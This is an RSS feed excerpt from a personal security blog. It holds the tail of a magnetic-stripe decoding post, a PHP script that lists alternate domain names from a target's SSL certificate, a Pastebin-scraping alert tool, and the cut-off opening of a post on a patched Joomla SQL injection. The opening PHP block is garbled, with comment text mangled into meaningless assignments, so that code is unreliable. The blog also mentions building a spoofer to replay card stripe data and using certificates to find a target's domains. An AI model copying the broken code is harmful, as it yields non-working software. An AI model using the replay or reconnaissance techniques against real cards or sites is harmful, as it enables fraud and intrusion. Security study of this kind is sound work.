#0000ff;">&quot;substr(<span style="color: #006699; font-weight: bold;">$currentBits</span>,0,4);&quot;</span> <span style="color: #000088;">$asciichar</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;0;&quot;</span> <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$x</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;0;<span style="color: #006699; font-weight: bold;">$x</span>&amp;lt;4;<span style="color: #006699; font-weight: bold;">$x</span>++)&quot;</span> <span style="color: #000088;">$currentnum</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #339933;">+=</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$dataBits</span>[<span style="color: #006699; font-weight: bold;">$x</span>];&quot;</span> <span style="color: #000088;">$dec</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;bindec(<span style="color: #006699; font-weight: bold;">$dataBits</span>);&quot;</span> <span style="color: #cc66cc;">2</span><span style="color: #339933;">,=</span><span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #0000ff;">&quot;0&quot;</span><span style="color: #339933;">,=</span><span style="color: #0000ff;">&quot;&quot;</span> str_pad_left<span style="color: #009900;">&#41;</span><span style="color: #339933;">;=</span><span style="color: #0000ff;">&quot;&quot;</span> just<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> so<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> output<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> is<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> nice<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> reverse<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> the<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> binary<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #009900;">&#40;</span>since<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> its<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> lsb<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> first<span style="color: #009900;">&#41;</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> then<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> convert<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> to<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> dec<span style="color: #339933;">,=</span><span style="color: #0000ff;">&quot;&quot;</span> add<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #cc66cc;">48</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> and<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> take<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> it<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> ascii<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #b1b100;">echo</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$currentbits</span>=&quot;</span><span style="color: #0000ff;">&quot; -=&quot;</span><span style="color: #0000ff;">&quot; data=&quot;</span><span style="color: #0000ff;">&quot; (<span style="color: #006699; font-weight: bold;">$databits</span>)=&quot;</span><span style="color: #0000ff;">&quot; parity(<span style="color: #006699; font-weight: bold;">$paritybit</span>)=&quot;</span><span style="color: #0000ff;">&quot; decimal=&quot;</span><span style="color: #0000ff;">&quot; (<span style="color: #006699; font-weight: bold;">$dec</span>)=&quot;</span><span style="color: #0000ff;">&quot; ascii(<span style="color: #006699; font-weight: bold;">$asciichar</span>)&quot;</span><span style="color: #339933;">;=</span><span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$currentnum</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #000088;">$paritybit</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #339933;">%=</span><span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #cc66cc;">2</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;=&quot;</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #0000ff;">&quot;=&quot;</span><span style="color: #0000ff;">&quot; __=&quot;</span><span style="color: #0000ff;">&quot; parity:=&quot;</span><span style="color: #0000ff;">&quot; invalid&quot;</span><span style="color: #339933;">;=</span><span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #b1b100;">else</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> valid<span style="color: #0000ff;">&quot;;=&quot;</span><span style="color: #0000ff;">&quot; <span style="color: #006699; font-weight: bold;">$asciioutput</span>=&quot;</span><span style="color: #0000ff;">&quot; &quot;</span>\n<span style="color: #0000ff;">&quot;;=&quot;</span><span style="color: #0000ff;">&quot; ;=&quot;</span><span style="color: #0000ff;">&quot; &quot;</span>\n\ntotal<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> out<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #009900;">&#40;</span>ascii<span style="color: #009900;">&#41;</span><span style="color: #339933;">:=</span><span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #000088;">$asciioutput</span>\n<span style="color: #0000ff;">&quot;;=&quot;</span><span style="color: #0000ff;">&quot; &quot;</span>trying<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> one<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> way<span style="color: #339933;">:</span>\n\n<span style="color: #0000ff;">&quot;;=&quot;</span><span style="color: #0000ff;">&quot; if=&quot;</span><span style="color: #0000ff;">&quot; (processbinary(<span style="color: #006699; font-weight: bold;">$binary</span>)=&quot;</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot; reverse.=&quot;</span><span style="color: #0000ff;">&quot; &quot;</span>\n\n<span style="color: #0000ff;">&quot;;=&quot;</span><span style="color: #0000ff;">&quot; reverse:<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;=</span><span style="color: #0000ff;">&quot;&quot;</span> processbinary<span style="color: #009900;">&#40;</span><span style="color: #990000;">strrev</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$binary</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;=</span><span style="color: #0000ff;">&quot;&quot;</span> pre<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;</span></pre></div></div>

<h2>Going Onwards:</h2>
<p>So understanding the basics of how magnetic stripes work and how the data is encoded means that should I come into contact with other formats I know what to look for and can mess with them. Also knowing the above means I can write something to encode the data, generate wav files and build a spoofer to replay the attack :)</p>
<p>I&#8217;ll write a follow up sometime with spoofing magnetic stripes, here is a short video of me playing audio (since thats what it really is right?) from a spoofer to my magnetic read head:</p>
<p><object width="560" height="315"><param name="movie" value="http://www.youtube.com/v/k-5bgxR99zQ?version=3&amp;hl=en_US" /><object width="560" height="315" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.youtube.com/v/k-5bgxR99zQ?version=3&amp;hl=en_US" /><param name="allowscriptaccess" value="always" /><param name="allowfullscreen" value="true" /><embed width="560" height="315" type="application/x-shockwave-flash" src="http://www.youtube.com/v/k-5bgxR99zQ?version=3&amp;hl=en_US" allowscriptaccess="always" allowfullscreen="true" /></object>-AM</p>
<p></object></p>
]]></content:encoded>
			<wfw:commentRss>http://andrewmohawk.com/2012/05/29/magnetic-stripes-part-1/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Alternate DNS Names in Certificates</title>
		<link>http://andrewmohawk.com/2012/05/21/alternate-dns-names-in-certificates/</link>
		<comments>http://andrewmohawk.com/2012/05/21/alternate-dns-names-in-certificates/#comments</comments>
		<pubDate>Mon, 21 May 2012 13:33:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Certificate]]></category>
		<category><![CDATA[OSINT]]></category>
		<category><![CDATA[SSL]]></category>

		<guid isPermaLink="false">http://andrewmohawk.com/?p=471</guid>
		<description><![CDATA[I know, its been forever since I posted, but I do have two things i&#8217;m working on (there are drafts, but they need to be finished) &#8211; Its just the effort to actually finishing. Its on Magstripe spoofing and using the RTLSDR -shrug-. Anyway, a discussion started in #zacon based on a post I thought [...]]]></description>
				<content:encoded><![CDATA[<p>I know, its been forever since I posted, but I do have two things i&#8217;m working on (there are drafts, but they need to be finished) &#8211; Its just the effort to actually finishing. Its on Magstripe spoofing and using the RTLSDR -shrug-.</p>
<p>Anyway, a discussion started in #zacon based on a post I thought was interesting about SSL-enabled mail servers and how very very seldomly its actually used for mail: <a title="http://ritter.vg/blog-no_email_security.html" href="http://ritter.vg/blog-no_email_security.html" target="_blank">http://ritter.vg/blog-no_email_security.html</a>. The gist of the story is that mail goes from your client via MTA to another MTA to be delivered and while you might have an SSL enabled session for your gmail interface its highly unlikely that the actual mail will be going over SSL the entire trip. In fact gmail&#8217;s SSL certs are for mx.gmail.com not aspmx.l.google.com!</p>
<p>But back to the Alternate DNS names. So one chap in chat &#8216;dru&#8217; mentioned that he has a single cert for multiple domains, I wasn&#8217;t entirely sure this was possible as I have never seen it, however after looking a bit more closely at his SSL certificates on <a title="https://mail.sybaweb.com/" href="https://mail.sybaweb.com/" target="_blank">https://mail.sybaweb.com/</a> it appeared that all his other linked domains (technically DNS names) were actually in the certificate. This is a great way to find out other domains/dns names linked to your target domain.</p>
<p>Few minutes in PHP and I whipped up a little (but ugly) script to pull this out, check it out at <a title="https://andrewmohawk.com/SSLAssociated/" href="https://andrewmohawk.com/SSLAssociated/" target="_blank">https://andrewmohawk.com/SSLAssociated/</a></p>
<div id="attachment_472" class="wp-caption aligncenter" style="width: 283px"><a href="http://andrewmohawk.com/wp-content/uploads/2012/05/altsslnames.png"><img class="size-medium wp-image-472" title="Alternate SSL Names for sybaweb.com" src="http://andrewmohawk.com/wp-content/uploads/2012/05/altsslnames-273x300.png" alt="Alternate SSL Names for sybaweb.com" width="273" height="300" /></a><p class="wp-caption-text">Alternate SSL Names for sybaweb.com</p></div>
<p><span id="more-471"></span></p>
<h2>Code:</h2>
<p>The script is trivial, but the code as always:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
	<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;h2&gt;Get Alternate Names for Certificate&lt;/h2&gt;
		&lt;form action='index.php'&gt;
		&lt;strong&gt;HTTPS enabled site: https://&lt;/strong&gt;&lt;input type='text' name='h'/&gt;&lt;br/&gt;
		&lt;input type='submit' value='Lookup!'/&gt;&lt;br/&gt;
		&lt;/form&gt;
		&quot;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;h&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;pre&gt;&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #990000;">set_time_limit</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
		<span style="color: #990000;">ob_implicit_flush</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$host</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;h&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$context</span> <span style="color: #339933;">=</span> <span style="color: #990000;">stream_context_create</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
		  <span style="color: #0000ff;">'ssl'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'capture_peer_cert'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">TRUE</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;[+] Fetching SSL Cert...&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #339933;">@</span><span style="color: #000088;">$html</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'https://'</span><span style="color: #339933;">.</span><span style="color: #000088;">$host</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #339933;">,</span> <span style="color: #000088;">$context</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$opts</span> <span style="color: #339933;">=</span> <span style="color: #990000;">stream_context_get_options</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$context</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Done&lt;br/&gt;&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;[+] Parsing SSL Cert...&lt;br/&gt;&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$opts</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;ssl&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$opts</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'ssl'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'peer_certificate'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$ssl</span> <span style="color: #339933;">=</span> <span style="color: #990000;">openssl_x509_parse</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$opts</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'ssl'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'peer_certificate'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ssl</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;extensions&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
			<span style="color: #009900;">&#123;</span>
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ssl</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;extensions&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;subjectAltName&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
				<span style="color: #009900;">&#123;</span>
					<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot; [-] Found Alternate DNS names:&lt;br/&gt;&quot;</span><span style="color: #339933;">;</span>
					<span style="color: #000088;">$altNamesTmp</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$ssl</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;extensions&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;subjectAltName&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
					<span style="color: #000088;">$altNames</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;,&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$altNamesTmp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
					<span style="color: #000088;">$hostnames</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
					<span style="color: #000088;">$unknown</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
					<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$altNames</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$a</span><span style="color: #009900;">&#41;</span>
					<span style="color: #009900;">&#123;</span>
						<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$a</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;DNS:&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!==</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span>
						<span style="color: #009900;">&#123;</span>
&nbsp;
							<span style="color: #000088;">$hostname</span> <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$a</span><span style="color: #339933;">,</span><span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$a</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;DNS:&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">4</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
							<span style="color: #000088;">$hostnames</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$hostname</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
						<span style="color: #009900;">&#125;</span>
						<span style="color: #b1b100;">else</span>
						<span style="color: #009900;">&#123;</span>
							<span style="color: #000088;">$unknown</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$a</span><span style="color: #339933;">;</span>
						<span style="color: #009900;">&#125;</span>
&nbsp;
					<span style="color: #009900;">&#125;</span>
					<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">array_unique</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$hostnames</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$ud</span><span style="color: #009900;">&#41;</span>
					<span style="color: #009900;">&#123;</span>
						<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot; [*] Found Alternate DNS Name: <span style="color: #006699; font-weight: bold;">$ud</span> &lt;br/&gt;&quot;</span><span style="color: #339933;">;</span>
					<span style="color: #009900;">&#125;</span>
					<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">array_unique</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$unknown</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$ud</span><span style="color: #009900;">&#41;</span>
					<span style="color: #009900;">&#123;</span>
						<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot; [*] Unknown Entry: <span style="color: #006699; font-weight: bold;">$ud</span> &lt;br/&gt;&quot;</span><span style="color: #339933;">;</span>
					<span style="color: #009900;">&#125;</span>
				<span style="color: #009900;">&#125;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #b1b100;">else</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;[!] Could not parse certificate... https enabled?&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://andrewmohawk.com/2012/05/21/alternate-dns-names-in-certificates/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PasteLert v2!</title>
		<link>http://andrewmohawk.com/2012/04/09/pastelert-v2/</link>
		<comments>http://andrewmohawk.com/2012/04/09/pastelert-v2/#comments</comments>
		<pubDate>Mon, 09 Apr 2012 18:47:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Pastebin]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[pastebin]]></category>

		<guid isPermaLink="false">http://andrewmohawk.com/?p=446</guid>
		<description><![CDATA[The Quick and dirty: New PasteLert lives at http://andrewmohawk.com/pasteLertV2/ Downloads: » Interface -&#62; http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Interface.zip » Cron Tasks -&#62; http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Cron_Tasks.zip » Scraping Script -&#62; http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Python_Scraping_Script.zip And of course if you want everything -&#62; http://andrewmohawk.com/pasteLertV2/src/pastelertv2_all.zip Overview My linode has been pretty much falling over due to the previous version of the pastebin alerts for a number of [...]]]></description>
				<content:encoded><![CDATA[<h2>The Quick and dirty:</h2>
<p>New PasteLert lives at <a href="http://andrewmohawk.com/pasteLertV2/">http://andrewmohawk.com/pasteLertV2/</a></p>
<p>Downloads:</p>
<p>» Interface -&gt; <a href="http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Interface.zip">http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Interface.zip</a><br />
» Cron Tasks -&gt; <a href="http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Cron_Tasks.zip">http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Cron_Tasks.zip</a><br />
» Scraping Script -&gt; <a href="http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Python_Scraping_Script.zip">http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Python_Scraping_Script.zip</a></p>
<p>And of course if you want everything -&gt; <a href="http://andrewmohawk.com/pasteLertV2/src/pastelertv2_all.zip">http://andrewmohawk.com/pasteLertV2/src/pastelertv2_all.zip</a></p>
<h2>Overview</h2>
<p>My linode has been pretty much falling over due to the previous version of the pastebin alerts for a number of reasons:</p>
<p>» Scripts sometimes get blackholed (pastebin.com allows the connection but doesnt respond &#8211; due to their DDoS protection)<br />
» Scripts sometimes were still running when the PREVIOUS script had not completed causing a chain reaction of fail<br />
» Deletes would be happening while the above scripts where running causing MySQL to tilt</p>
<p><span id="more-446"></span></p>
<h2>Lucene/Solr</h2>
<p>As such I recently re-worked the service. Initially I started playing around with other DB types to try and get my Linode to store more than a day or 2s worth of Pastebin.com data. I looked around and it appeared that Lucene/SolR was the solution I was looking for, and actually it does work _very_ well at storing large amounts of data (I had it running with about 2 weeks of data). However there were a number of issues:</p>
<p>» After about a week or 2s worth of data (avg around 20-30K posts a day, x 14 = 280 000 &#8211; 420 000 posts) the search times were SLOW (talking something like 5-15 SECONDS)<br />
» Because Lucene is not a RDBMS there is no concept of having something like a row ID or an auto-incrementing ID &#8211; so this would have to be handled by the script to get the number of entries and +1 every time<br />
» Because of the above Alerts would have to work on a date (when the post was made &#8211; so working out from x secs ago or y minutes ago), and an ISO formatted date no less (no unixtime) it became a real pain.</p>
<p>However, with that being said I did still build the interfaces for it and if you are looking to implement it with SolR / Lucene just message me for the schema and Python/PHP scripts.</p>
<h2>Basics</h2>
<p>Ultimately however I decided to stick to the same system previously used but rather than have cron&#8217;d scripts that pull the data have one long running python script that you can place in the background. Pretty basic and the code should be self explanatory, the gist of it:</p>
<p>1. Pull archive.php from pastebin.com [ <a title="http://pastebin.com/archive.php" href="http://pastebin.com/archive.php">http://pastebin.com/archive.php</a> ]<br />
2. Extract all the paste entries with a regular expression (<strong> re.compile(&#8216;&lt;td&gt;&lt;img src=&#8221;/i/t.gif&#8221; .*?&lt;a href=&#8221;/(.*?)&#8221;&gt;(.*?)&lt;/a&gt;&lt;/td&gt;.*?&lt;td&gt;(.*?)&lt;/td&gt;&#8217;,re.S)</strong> )<br />
3. Check if we have seen it in the last 500 or so (that we have in a python list), if not, pull the raw paste<br />
4. INSERT IGNORE (in case we missed a double) this data</p>
<p>Then for the &#8220;alerts&#8221; themselves, basically:</p>
<p>»Every 30 minutes (or whenever you set the cron to run) search if the terms in the database have been seen<br />
»If seen send out mail</p>
<p>Additionally of course there is a web interface that you can use to add alerts as well as search the current index&#8217;d pastes.</p>
<h2>Downloads / Config</h2>
<p>My Crontab at this stage looks as follows (if you want to just copy mine):<br />
<strong>*/20 * * * * php /home/andrew/pasteLertV2/Cron_Tasks/sendAlerts.php</strong><br />
<strong>0 1 * * * php /home/andrew/pasteLertV2/Cron_Tasks/truncPastes.php</strong></p>
<p>And i&#8217;ve kicked off the script that puts the data in the database with:</p>
<p>andrew@mothership:~/pasteLertV2/Python_Scraping_Script$ nohup python scrapePastebinMySQL.py &amp;</p>
<p>I&#8217;ve seperated the scripts into the 3 sections:</p>
<p>» Interface -&gt; <a href="http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Interface.zip">http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Interface.zip</a><br />
» Cron Tasks -&gt; <a href="http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Cron_Tasks.zip">http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Cron_Tasks.zip</a><br />
» Scraping Script -&gt; <a href="http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Python_Scraping_Script.zip">http://andrewmohawk.com/pasteLertV2/src/pastelertv2_Python_Scraping_Script.zip</a></p>
<p>And of course if you want everything -&gt; <a href="http://andrewmohawk.com/pasteLertV2/src/pastelertv2_all.zip">http://andrewmohawk.com/pasteLertV2/src/pastelertv2_all.zip</a></p>
<p>Essentially the only modification you need to do is within the interface / cron tasks modify the &#8216;setDB.php&#8217; script with your db credentials and within the scraping script, set these on line 141.</p>
<p>-AM</p>
]]></content:encoded>
			<wfw:commentRss>http://andrewmohawk.com/2012/04/09/pastelert-v2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Joomla 2.51 Blind SQL Attack</title>
		<link>http://andrewmohawk.com/2012/04/06/joomla-2-51-blind-sql-attack/</link>
		<comments>http://andrewmohawk.com/2012/04/06/joomla-2-51-blind-sql-attack/#comments</comments>
		<pubDate>Fri, 06 Apr 2012 16:05:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Blind]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[SQL injection]]></category>
		<category><![CDATA[Timing Attack]]></category>

		<guid isPermaLink="false">http://andrewmohawk.com/?p=422</guid>
		<description><![CDATA[&#60;responsible_disclosure&#62; Before i discuss this, let me just say that the bug has been patched (was in 2.5.1) and at the time of writing this Joomla is already 2 increments away -  2.5.3 is currently available. &#60;/responsible_disclosure&#62; Overview So back in the dark ages of my programming life I, like many people who started coding, [...]]]></description>
				<content:encoded><![CDATA[<p>&lt;responsible_disclosure&gt;<br />
Before i discuss this, let me just say that the bug has been patched (was in 2.5.1) and at the time of writing this Joomla is already 2 increments away -  2.5.3 is currently available.<br />
&lt;/responsible_disclosure&gt;</p>
<h2>Overview</h2>
